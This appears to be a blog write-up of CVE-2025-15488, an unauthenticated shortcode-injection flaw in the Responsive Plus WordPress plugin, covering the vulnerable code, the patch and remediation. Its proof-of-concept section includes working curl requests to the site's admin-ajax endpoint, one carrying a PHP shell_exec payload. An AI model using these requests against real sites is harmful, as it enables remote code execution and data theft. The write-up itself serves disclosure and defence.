CVE-2025-15488: Unauthenticated Code Injection in Responsive Plus

CVE-2025-15488: Unauthenticated Code Injection in Responsive Plus

CVE-2025-15488 is a CVSS 9.8 Critical unauthenticated arbitrary shortcode execution (code injection) vulnerability in the Responsive Plus – Elementor Templates & Starter Sites WordPress plugin. An unauthenticated attacker can POST a crafted request to a publicly accessible AJAX endpoint and cause the server to execute any registered WordPress shortcode — including shortcodes from third-party plugins that evaluate arbitrary PHP code. All versions before 3.4.3 are affected.

Vulnerability Summary

FieldValue
Plugin NameResponsive Plus – Elementor Templates & Starter Sites
Plugin Slugresponsive-add-ons
CVE IDCVE-2025-15488
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary Shortcode Execution (Code Injection)
Affected Versions<= 3.4.2
Patched Version3.4.3
PublishedMarch 30, 2026
ResearcherAlex Tselevich (nos3curity)
Wordfence AdvisoryLink

Description

The Responsive Plus – Elementor Templates & Starter Sites plugin for WordPress is vulnerable to Remote Code Execution in all versions up to 3.4.3 (exclusive). This makes it possible for unauthenticated attackers to execute code on the server.

The vulnerability exists in the AJAX handler update_responsive_woo_free_shipping_left_shortcode, which is registered without any authentication or nonce requirement. This handler accepts attacker-controlled POST parameters and passes them directly to do_shortcode(), allowing any registered WordPress shortcode to be executed with the privileges of the web server.

Technical Analysis

Vulnerable Code Path

File: includes/customizer/helper.php

Step 1 — Hook Registration (lines 728–729)

Both authenticated and unauthenticated AJAX requests are registered for the same callback, with no nonce check:

add_action( 'wp_ajax_update_responsive_woo_free_shipping_left_shortcode', 'update_responsive_woo_free_shipping_left_shortcode' );
add_action( 'wp_ajax_nopriv_update_responsive_woo_free_shipping_left_shortcode', 'update_responsive_woo_free_shipping_left_shortcode' );

The nopriv variant means the handler fires for completely unauthenticated visitors.

Step 2 — Unvalidated POST Input (lines 703–724)

function update_responsive_woo_free_shipping_left_shortcode() {
    $atts = array();
    // The nonce is not provided by WooCommerce for this context, suppressing warning.
    // phpcs:disable WordPress.Security.NonceVerification.Missing

    if ( ( isset( $_POST['content'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content'] ) ) )
        || ( isset( $_POST['content_rech_data'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) ) ) {

        $atts['content_reached'] = sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) );
        $content                 = str_replace( '+', '%', sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) );
        $atts['content']         = $content;
        $return_shortcode_value  = woo_free_shipping_shortcode( $atts, '' );   // ← attacker controls $atts
        wp_send_json( $return_shortcode_value );
    }
    // ...
}

sanitize_text_field() strips HTML tags but preserves WordPress shortcode syntax such as [some_shortcode] or [php code="phpinfo()"]. The sanitized value is set directly as $atts['content_reached'].

Step 3 — Shortcode Execution (lines 678–692 + 631–635)

woo_free_shipping_shortcode() passes $atts['content_reached'] through to woo_free_shipping_left():

function woo_free_shipping_shortcode( $atts, $content ) {
    // ...
    $atts = shortcode_atts( array(
        'content'         => ...,
        'content_reached' => esc_html__( 'You have Free delivery!', 'responsive_addons_pro' ),
        'multiply_by'     => 1,
    ), $atts );

    $content_reached = $atts['content_reached'];   // ← attacker-controlled value
    // ...
    return woo_free_shipping_left( ..., $content_reached, ... );
}

Inside woo_free_shipping_left() (line 635):

if ( $total >= $min_free_shipping_amount ) {
    return do_shortcode( $content_reached );   // ← arbitrary shortcode execution
}

do_shortcode() will execute any registered WordPress shortcode contained in $content_reached, including shortcodes from other plugins that can run PHP code (e.g., shortcodes registered by code-snippet plugins, custom field evaluation plugins, etc.).

Root Cause

The root cause is a missing trusted-source validation on the content_rech_data POST parameter. The AJAX callback:

  1. Is registered for unauthenticated visitors (wp_ajax_nopriv_*)
  2. Has the nonce check explicitly disabled with a PHPCS suppression comment
  3. Reads $_POST['content_rech_data'] and passes it to do_shortcode() with no allowlist check on which shortcode tags are permitted

sanitize_text_field() was mistakenly assumed to be sufficient; it does not strip shortcode tags.

Why Existing Controls Failed

Attack Impact

An unauthenticated attacker can:

The CVSS score of 9.8 (Critical) reflects that no authentication, no interaction, and no special precondition (beyond WooCommerce being active and free shipping configured with a minimum order amount) is required.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Add items to session cart to meet the free shipping threshold

WooCommerce sessions are cookie-based. Any visitor can add items to their cart. If the free shipping minimum is $50 and Product ID 42 costs $60:

# Add a product to cart — use the site's actual product ID and URL
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=woocommerce_add_to_cart&product_id=42&quantity=1"

Alternatively, just visit any product page in a browser and add it to the cart, then use the browser’s cookie jar for the next request.

Step 2: Send the malicious AJAX request with an arbitrary shortcode payload

curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=update_responsive_woo_free_shipping_left_shortcode" \
  --data-urlencode "content=trigger" \
  --data-urlencode "content_rech_data=[your_arbitrary_shortcode]"

Step 2a: Example with a PHP-execution shortcode (if “Insert PHP Snippet” or similar is active)

curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=update_responsive_woo_free_shipping_left_shortcode" \
  --data-urlencode "content=trigger" \
  --data-urlencode "content_rech_data=[insert_php]echo shell_exec('id');[/insert_php]"

Step 2b: Example with a data-exposure shortcode (works on any WP site)

# The [password_protected] shortcode or [user_meta] shortcodes from various plugins
# can expose user data. Even core [gallery] shortcodes confirm code injection.
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=update_responsive_woo_free_shipping_left_shortcode" \
  --data-urlencode "content=trigger" \
  --data-urlencode "content_rech_data=[gallery ids='1']"

Expected Result

When the attacker’s cart total meets or exceeds the configured free shipping minimum, the server executes do_shortcode($content_rech_data) and returns the shortcode output in the JSON response. If a PHP-execution shortcode is registered, arbitrary OS commands or PHP code are executed server-side.

Verification

  1. Check the HTTP response body — the JSON payload will contain the shortcode output
  2. For RCE shortcodes: the output of id (or whatever OS command is used) will appear in the response
  3. For data-exposure shortcodes: sensitive WordPress data will appear in the response

If the shortcode has side effects (e.g., creating admin users, sending emails, writing files), verify via the WordPress admin panel or server file system.

Patch Analysis

What Changed

Only includes/customizer/helper.php was changed to address this vulnerability (the remaining 21 files changed in the release address unrelated improvements).

Fix Explanation

The patch completely eliminates reliance on user-supplied POST data. Instead of reading $_POST['content_rech_data'], the fixed function reads the shortcode configuration from a trusted server-side source — the WordPress Customizer setting responsive_popup_bottom_text — via get_theme_mod():

// Don't accept POST data from users
$default_bottom_text = esc_html__( '[responsive_woo_free_shipping_left]', 'responsive-addons-pro' );
$custom_text = get_theme_mod( 'responsive_popup_bottom_text', $default_bottom_text );

// Parse shortcode attributes from the stored value
if ( ! empty( $custom_text ) && preg_match( '/\[responsive_woo_free_shipping_left(.*?)\]/', $custom_text, $matches ) ) {
    if ( ! empty( $matches[1] ) ) {
        $shortcode_attrs = shortcode_parse_atts( $matches[1] );
        if ( ! empty( $shortcode_attrs ) && is_array( $shortcode_attrs ) ) {
            $atts = $shortcode_attrs;
        }
    }
}

// Recalculate from cart state using trusted database values
$return_shortcode_value = woo_free_shipping_shortcode( $atts, '' );
wp_send_json( $return_shortcode_value );

The fix introduces:

  1. No user input — POST parameters are completely ignored
  2. Trusted source — attributes come from the WordPress database value set by an administrator
  3. Tag restriction — the regex only extracts attributes from the [responsive_woo_free_shipping_left] shortcode, not any arbitrary tag

This is a complete fix for the root cause. The endpoint no longer exposes an arbitrary shortcode execution surface.

Code Diff (Key Changes)

 function update_responsive_woo_free_shipping_left_shortcode() {
 	$atts = array();
-	// The nonce is not provided by WooCommerce for this context, suppressing warning.
-	// phpcs:disable WordPress.Security.NonceVerification.Missing
-
-	if ( ( isset( $_POST['content'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content'] ) ) )
-		|| ( isset( $_POST['content_rech_data'] ) && '' !== sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) ) ) {
-
-		$atts['content_reached'] = sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) );
-		$content                 = str_replace( '+', '%', sanitize_text_field( wp_unslash( $_POST['content_rech_data'] ) ) );
-		$atts['content']         = $content;
-		$return_shortcode_value  = woo_free_shipping_shortcode( $atts, '' );
-		wp_send_json( $return_shortcode_value );
-
-	} else {
-
+	
+	// Don't accept POST data from users 
+	$default_bottom_text = esc_html__( '[responsive_woo_free_shipping_left]', 'responsive-addons-pro' );
+	$custom_text = get_theme_mod( 'responsive_popup_bottom_text', $default_bottom_text );
+	
+	// Parse shortcode attributes from the stored value
+	if ( ! empty( $custom_text ) && preg_match( '/\[responsive_woo_free_shipping_left(.*?)\]/', $custom_text, $matches ) ) {
+		if ( ! empty( $matches[1] ) ) {
+			$shortcode_attrs = shortcode_parse_atts( $matches[1] );
+			if ( ! empty( $shortcode_attrs ) && is_array( $shortcode_attrs ) ) {
+				$atts = $shortcode_attrs;
+			}
+		}
+	}
+	
+	// Recalculate from cart state using trusted database values
 		$return_shortcode_value = woo_free_shipping_shortcode( $atts, '' );
 		wp_send_json( $return_shortcode_value );
-
-	}
-	// phpcs:enable
 }

Timeline

DateEvent
UnknownVulnerability discovered and reported by Alex Tselevich (nos3curity)
March 30, 2026Publicly disclosed by Wordfence
March 30, 2026Patched version 3.4.3 released

Remediation

Update the responsive-add-ons plugin to version 3.4.3 or later immediately.

If an immediate update is not possible:

References

  1. Wordfence Advisory
  2. Patchstack Advisory
  3. WordPress SVN Changeset (3.4.3)
  4. CVE-2025-15488 Record

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee